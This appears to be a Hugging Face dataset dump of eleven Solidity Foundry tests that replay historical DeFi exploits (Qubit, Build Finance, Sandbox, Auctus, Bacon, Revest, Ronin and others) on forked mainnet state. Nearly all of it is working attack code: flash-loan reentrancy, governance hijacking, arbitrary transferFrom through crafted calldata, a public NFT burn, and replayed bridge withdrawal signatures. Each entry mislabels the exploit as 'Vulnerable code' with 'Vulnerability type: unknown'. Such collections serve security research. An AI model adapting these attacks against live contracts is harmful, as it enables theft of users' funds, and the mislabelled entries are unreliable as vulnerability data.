Farseen0/scar-pairs huggingface dataset:
HIGH severity: Qubit exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IQBridge {
    function deposit(uint8 destinationDomainID, bytes32 resourceID, bytes calldata data) external payable;
}

interface IQBridgeHandler {
    // mapping(address => bool) public contractWhitelist;
    function resourceIDToTokenContractAddress(
        bytes32
    ) external returns (address);
    function contractWhitelist(
        address
    ) external returns (bool);
    function deposit(bytes32 resourceID, address depositer, bytes calldata data) external;
}

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address attacker = 0xD01Ae1A708614948B2B5e0B7AB5be6AFA01325c7;
    address QBridge = 0x20E5E35ba29dC3B540a1aee781D0814D5c77Bce6;
    address QBridgeHandler = 0x17B7163cf1Dbd286E262ddc68b553D899B93f526;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_090_169); //fork mainnet at block 14090169
    }

    function testExploit() public {
        cheat.startPrank(attacker);
        // emit log_named_uint(
        //   "Before exploiting, attacker OP Balance:",
        //   op.balanceOf(0x0A0805082EA0fc8bfdCc6218a986efda6704eFE5)
        // );
        bytes32 resourceID = hex"00000000000000000000002f422fe9ea622049d6f73f81a906b9b8cff03b7f01";
        bytes memory data =
            hex"000000000000000000000000000000000000000000000000000000000000006900000000000000000000000000000000000000000000000a4cc799563c380000000000000000000000000000d01ae1a708614948b2b5e0b7ab5be6afa01325c7";
        uint256 option;
        uint256 amount;
        (option, amount) = abi.decode(data, (uint256, uint256));
        emit log_named_uint("option", option);
        emit log_named_uint("amount", amount);
        // which calls in turn:
        // IQBridgeHandler(QBridgeHandler).deposit(resourceID, attacker, data);
        emit log_named_address(
            "contractAddress", IQBridgeHandler(QBridgeHandler).resourceIDToTokenContractAddress(resourceID)
        );
        emit log_named_uint(
            "is 0 address whitelisted", IQBridgeHandler(QBridgeHandler).contractWhitelist(address(0)) ? 1 : 0
        );

        IQBridge(QBridge).deposit(1, resourceID, data);

        // cheats.createSelectFork("bsc", 14742311); //fork mainnet at block 14742311
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: BuildF exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IBuildFinance BuildGovernance = IBuildFinance(0x5A6eBeB61A80B2a2a5e0B4D893D731358d888583);
    IERC20 build = IERC20(0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739);

    function setUp() public {
        cheat.createSelectFork("mainnet", 14_235_712); // fork mainnet at block 14235712
    }

    function test() public {
        cheat.prank(0x562680a4dC50ed2f14d75BF31f494cfE0b8D10a1);
        build.transfer(address(this), 101_529_401_443_281_484_977);
        emit log_named_uint("Befre proposing, BUILD balance of attacker:", build.balanceOf(address(this)));
        build.approve(address(BuildGovernance), type(uint256).max);

        BuildGovernance.propose(
            0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,
            0,
            hex"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
        );
        emit log_named_uint("After proposing, BUILD balance of attacker:", build.balanceOf(address(this)));
        emit log_named_uint("BUILD balance of BuildGovernance contract:", build.balanceOf(address(BuildGovernance)));
        cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);
        build.approve(address(BuildGovernance), type(uint256).max);
        cheat.prank(0xf41c13f4E2f750408fC6eb5cF0E34225D52E7002);
        BuildGovernance.vote(8, true);
        emit log_named_int("Proposal count:", BuildGovernance.proposalCount());
        emit log_named_uint("Proposal state:", BuildGovernance.state(8));

        cheat.warp(1_655_436_437);
        emit log_named_uint("After 2 days, Proposal state:", BuildGovernance.state(8));
        BuildGovernance.execute(
            8,
            0x6e36556B3ee5Aa28Def2a8EC3DAe30eC2B208739,
            0,
            hex"095ea7b3000000000000000000000000b4c79dab8f259c7aee6e5b2aa729821864227e84ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
        );
        build.transferFrom(address(BuildGovernance), address(this), build.balanceOf(address(BuildGovernance)));
        emit log_named_uint("After exploiting, BUILD balance of attacker:", build.balanceOf(address(this)));
    }
}


Vulnerability type: unknown
HIGH severity: Meter exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface SushiRouter {
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    address attacker = 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01;
    address sushiSwapRouter = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("moonriver", 1_442_490); //fork moonriver at block 1442490
            // https://moonriver.moonscan.io/tx/0x5a87c24d0665c8f67958099d1ad22e39a03aa08d47d00b7276b8d42294ee0591
    }

    function testExploit() public {
        cheats.startPrank(attacker);

        address[] memory path = new address[](2);
        path[0] = 0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01;
        path[1] = 0x639A647fbe20b6c8ac19E48E2de44ea792c62c5C;
        // sushiSwapRouter.call(hex"38ed173900000000000000000000000000000000000000000000006c6b935b8bbd400000000000000000000000000000000000000000000000000000d30870ab532ed0c500000000000000000000000000000000000000000000000000000000000000a00000000000000000000000008d3d13cac607b7297ff61a5e1e71072758af4d010000000000000000000000000000000000000000000000000000000061fe94f80000000000000000000000000000000000000000000000000000000000000002000000000000000000000000868892cccedbff0b028f3b3595205ea91b99376b000000000000000000000000639a647fbe20b6c8ac19e48e2de44ea792c62c5c");

        sushiSwapRouter.call(
            abi.encodeWithSignature(
                "swapExactTokensForTokens(uint256,uint256,address[],address,uint256)",
                2_000_000_000_000_000_000_000, // amountIn
                15_206_528_022_953_775_301, // amountOutMin
                path, // path
                0x8d3d13cac607B7297Ff61A5E1E71072758AF4D01, // to
                1_644_074_232 // deadline
            )
        );
    }
}


Vulnerability type: unknown
HIGH severity: Sandbox exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    ILand Land = ILand(0x50f5474724e0Ee42D9a4e711ccFB275809Fd6d4a);
    address victim = 0x9cfA73B8d300Ec5Bf204e4de4A58e5ee6B7dC93C;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_163_041); //fork mainnet at block 14163041
    }

    function testExploit() public {
        cheats.startPrank(0x6FB0B915D0e10c3B2ae42a5DD879c3D995377A2C);
        console.log("Before exploiting, victim owned NFT:", Land._numNFTPerAddress(victim)); // 2762 is the number of NFTs in the victim's account.
        for (uint256 i = 0; i < 100; i++) {
            // let's try to burn 100 nfts
            Land._burn(victim, victim, 3738); // _burn function that was set to be called was set in a public state, anyone can burn any user's NFT.
        }
        console.log("After exploiting, victim owned NFT:", Land._numNFTPerAddress(victim));
    }
}


Vulnerability type: unknown
HIGH severity: Auctus exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "./../interface.sol";

contract MockACOToken {
    function collateral() public view returns (address) {
        return address(0);
    }

    function mintToPayable(
        address account
    ) external payable returns (uint256) {
        return 1;
    }

    function balanceOf(
        address account
    ) public view returns (uint256) {
        return 1;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        return true;
    }

    function strikeAsset() public view returns (address) {
        return address(this);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        return true;
    }
}

contract ContractTest is Test, MockACOToken {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IACOWriter acowrite = IACOWriter(payable(0xE7597F774fD0a15A617894dc39d45A28B97AFa4f));
    IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_460_635); // fork mainnet at block 14460635
    }

    function test() public {
        emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
        acowrite.write{value: 1}(
            address(this),
            1,
            address(usdc),
            abi.encodeWithSelector(
                bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))),
                0xCB32033c498b54818e58270F341e5f6a3bce993B,
                msg.sender,
                usdc.balanceOf(0xCB32033c498b54818e58270F341e5f6a3bce993B)
            )
        );
        emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
    }
}


Vulnerability type: unknown
HIGH severity: Bacon exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IUniswapV2Pair pair = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
    IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IBacon bacon = IBacon(0xb8919522331C59f5C16bDfAA6A121a6E03A91F62);
    uint256 count = 0;

    constructor() {
        cheats.createSelectFork("mainnet", 14_326_931); // fork mainnet at block 14326931

        ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).setInterfaceImplementer(
            address(this), bytes32(0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b), address(this)
        );
    }

    function test() public {
        emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
        pair.swap(6_360_000_000_000, 0, address(this), new bytes(1));

        emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        usdc.approve(address(bacon), 10_000_000_000_000_000_000);
        bacon.lend(2_120_000_000_000);
        bacon.redeem(bacon.balanceOf(address(this)));
        usdc.transfer(msg.sender, ((amount0 / 997) * 1000) + 10 ** usdc.decimals());
        usdc.transfer(tx.origin, usdc.balanceOf(address(this)));
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) public {
        count += 1;
        if (count <= 2) {
            bacon.lend(2_120_000_000_000);
        }
    }
}


Vulnerability type: unknown
HIGH severity: CompoundTusd exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    ICErc20Delegate cTUSD = ICErc20Delegate(0x12392F67bdf24faE0AF363c24aC620a2f67DAd86);
    IERC20 tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
    address tusdLegacy = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_266_479); // fork mainnet at block 14266479
    }

    function testExample() public {
        emit log_named_uint("Before exploit, Compound TUSD balance:", tusd.balanceOf(address(cTUSD)));
        cTUSD.sweepToken(tusdLegacy);
        emit log_named_uint("After exploit, Compound TUSD balance:", tusd.balanceOf(address(cTUSD)));
    }
}


Vulnerability type: unknown
HIGH severity: Fantasm exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 fsm = IERC20(0xaa621D2002b5a6275EF62d7a065A865167914801);
    IERC20 xFTM = IERC20(0xfBD2945D3601f21540DDD85c29C5C3CaF108B96F);
    Pool pool = Pool(payable(0x880672AB1d46D987E5d663Fc7476CD8df3C9f937));
    address attacker = 0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("fantom", 32_971_742); //fork fantom block number 32971742
    }

    function testExploit() public {
        cheat.prank(0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400);
        fsm.transfer(address(this), 100_000_000_000_000_000_000);
        emit log_named_uint("Before exploit, xFTM  balance of attacker:", xFTM.balanceOf(address(this)));
        fsm.approve(address(pool), type(uint256).max);
        pool.mint(100_000_000_000_000_000_000, 1); // Due to the decimal error, the _xftmOut is bigger than it is supposed to be.
        cheat.roll(32_971_743);
        pool.collect();
        emit log_named_uint("After exploit, xFTM  balance of attacker:", xFTM.balanceOf(address(this)));
    }
}


Vulnerability type: unknown
HIGH severity: OneRing exploit (unknown). SPDX-License-Identifier: UNLICENSED

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IUniswapV2Pair pair = IUniswapV2Pair(0xbcab7d083Cf6a01e0DdA9ed7F8a02b47d125e682);
    IERC20 usdc = IERC20(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);
    IOneRingVault vault = IOneRingVault(0x4e332D616b5bA1eDFd87c899E534D996c336a2FC);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("fantom", 34_041_499); //fork fantom at block 34041499
    }

    function testExploit() public {
        emit log_named_uint("Before exploit, USDC  balance of attacker:", usdc.balanceOf(msg.sender));
        pair.swap(80_000_000 * 1e6, 0, address(this), new bytes(1));
        emit log_named_uint("After exploit, USDC  balance of attacker:", usdc.balanceOf(msg.sender));
    }

    function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        usdc.approve(address(vault), type(uint256).max);
        vault.depositSafe(amount0, address(usdc), 1);
        vault.withdraw(vault.balanceOf(address(this)), address(usdc));
        usdc.transfer(msg.sender, (amount0 / 9999 * 10_000) + 10_000);
        usdc.transfer(tx.origin, usdc.balanceOf(address(this)));
    }
}


Vulnerability type: unknown
HIGH severity: Revest exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IUniswapV2Pair pair = IUniswapV2Pair(0xbC2C5392b0B841832bEC8b9C30747BADdA7b70ca);
    IERC20 rena = IERC20(0x56de8BC61346321D4F2211e3aC3c0A7F00dB9b76);
    IRevest revest = IRevest(0x2320A28f52334d62622cc2EaFa15DE55F9987eD9);
    uint256 fnftId;
    bool reentered = false;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_465_356); //fork mainnet at 14465356
    }

    function testExploit() public {
        emit log_named_uint("Before exploit, Rena balance of attacker:", rena.balanceOf(msg.sender));
        pair.swap(5 * 1e18, 0, address(this), new bytes(1));
        emit log_named_uint("After exploit, Rena balance of attacker:", rena.balanceOf(msg.sender));
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        rena.approve(address(revest), type(uint256).max);
        IRevest.FNFTConfig memory fnftConfig;
        fnftConfig.asset = address(rena);
        fnftConfig.pipeToContract = 0x0000000000000000000000000000000000000000;
        fnftConfig.depositAmount = 0;
        fnftConfig.depositMul = 0;
        fnftConfig.split = 0;
        fnftConfig.depositStopTime = 0;
        fnftConfig.maturityExtension = false;
        fnftConfig.isMulti = true;
        fnftConfig.nontransferrable = false;

        address[] memory recipients = new address[](1);
        uint256[] memory quantities = new uint256[](1);
        recipients[0] = address(this);
        quantities[0] = uint256(2);
        fnftId = revest.mintAddressLock(address(this), new bytes(0), recipients, quantities, fnftConfig);
        quantities[0] = uint256(360_000);
        revest.mintAddressLock(address(this), new bytes(0), recipients, quantities, fnftConfig);

        revest.withdrawFNFT(fnftId + 1, 360_000 + 1);

        rena.transfer(msg.sender, ((((amount0 / 997) * 1000) / 99) * 100) + 1000);
        rena.transfer(tx.origin, rena.balanceOf(address(this)));
    }

    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) public returns (bytes4) {
        if (id == fnftId + 1 && !reentered) {
            reentered = true;
            revest.depositAdditionalToFNFT(fnftId, 1e18, 1);
        }
        return this.onERC1155Received.selector;
    }
}


Vulnerability type: unknown
HIGH severity: Ronin exploit (unknown). SPDX-License-Identifier: UNLICENSED !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;

import "forge-std/Test.sol";
import "./../interface.sol";

interface IRoninBridge {
    function withdrawERC20For(
        uint256 _withdrawalId,
        address _user,
        address _token,
        uint256 _amount,
        bytes memory _signatures
    ) external;
}

contract ContractTest is Test {
    address attacker = 0x098B716B8Aaf21512996dC57EB0615e2383E2f96;
    address roninBridge = 0x1A2a1c938CE3eC39b6D47113c7955bAa9DD454F2;
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 14_442_834); //fork mainnet at 14442834
    }

    function testExploit() public {
        cheats.startPrank(attacker);

        IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42
            _withdrawalId: 2_000_000,
            _user: attacker,
            _token: WETH,
            _amount: 173_600_000_000_000_000_000_000,
            _signatures: hex"01175db2b62ed80a0973b4ea3581b22629026e3c6767125f14a98dc30194a533744ba284b5855cfbc34c1416e7106bd1d4ce84f13ce816370645aad66c0fcae4771b010984ea09911beeadcd3dab46621bc81071ba91ce24d5b7873bc6a34e34c6aafa563916059051649b3c1930425aa3a79a293cacf24a21bda3b2a46a1e3d39a6551c01f962ee0e333c2f7261b3077bb7b7544001d555df4bc2e6a5cae2b2dac3d1fe3875cd1d12fadbeb4c01f01e196aa36e395a94de074652971c646b4b3b7149b3121b0178bd67c4fa659087c5f7696d912dee9db37802a3393bf4bd799e22eb201e78d90dc3f57e99d8916cd0282face42324f3afa0d96b0a09c4f914f15cac9c11037b1b0102b7a3a587c5be368f324893ed06df7bdcd3817b1880bd6dada86df15bd50d275fc694a8914d1818a2d432f980a97892f303d5a893a3eec176f46957958ecb991c"
        });

        IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42
            _withdrawalId: 2_000_001,
            _user: attacker,
            _token: USDC,
            _amount: 25_500_000_000_000,
            _signatures: hex"016734b276131c27fa94464db17b44ca517b0a9134b15ee4b776596725741cc7836beea1681dda98a83406515981e1d315d5eba13a0173a5a9688f9f920d7a3f7a1c01155c24a2d7a2ffb02530cf58da40c528301dfc22b21b16267dbf4eba2cd3d087276142bddd1d82404b2e75bd12993606a0c7c7626aa74c4d90bd7e4558fbe4261c01067c5aaba1b8e5bb686cda9efdae909aff86dc83f5be79f13af3ee677fb1791175e0b03401bdf7aa6e604eb995c7670384e6fadef3d687a00fd6d33cd47a0dde1c01dad673b6630394d15f8cca8975351d8272390a6c8bb1cb07cc2b04e8d7ea7a867e56a99e9d0c17a8e0629cebda86ee5a5f8b42610494ad0ed0245ffe9b5287631c012f1fb5b4c2b3718ea69197a5239316fbb9b805be3cdf8420324765ab53144b006b3148921458e629ea254df2c383175ca250e6442b8904a0f50ffdf465f6aa6f1b"
        });

        // gasless transaction:
        // https://medium.com/coinmonks/how-to-implement-gas-less-transactions-on-ethereum-9f9273d2f059  }
    }
}


Vulnerability type: unknown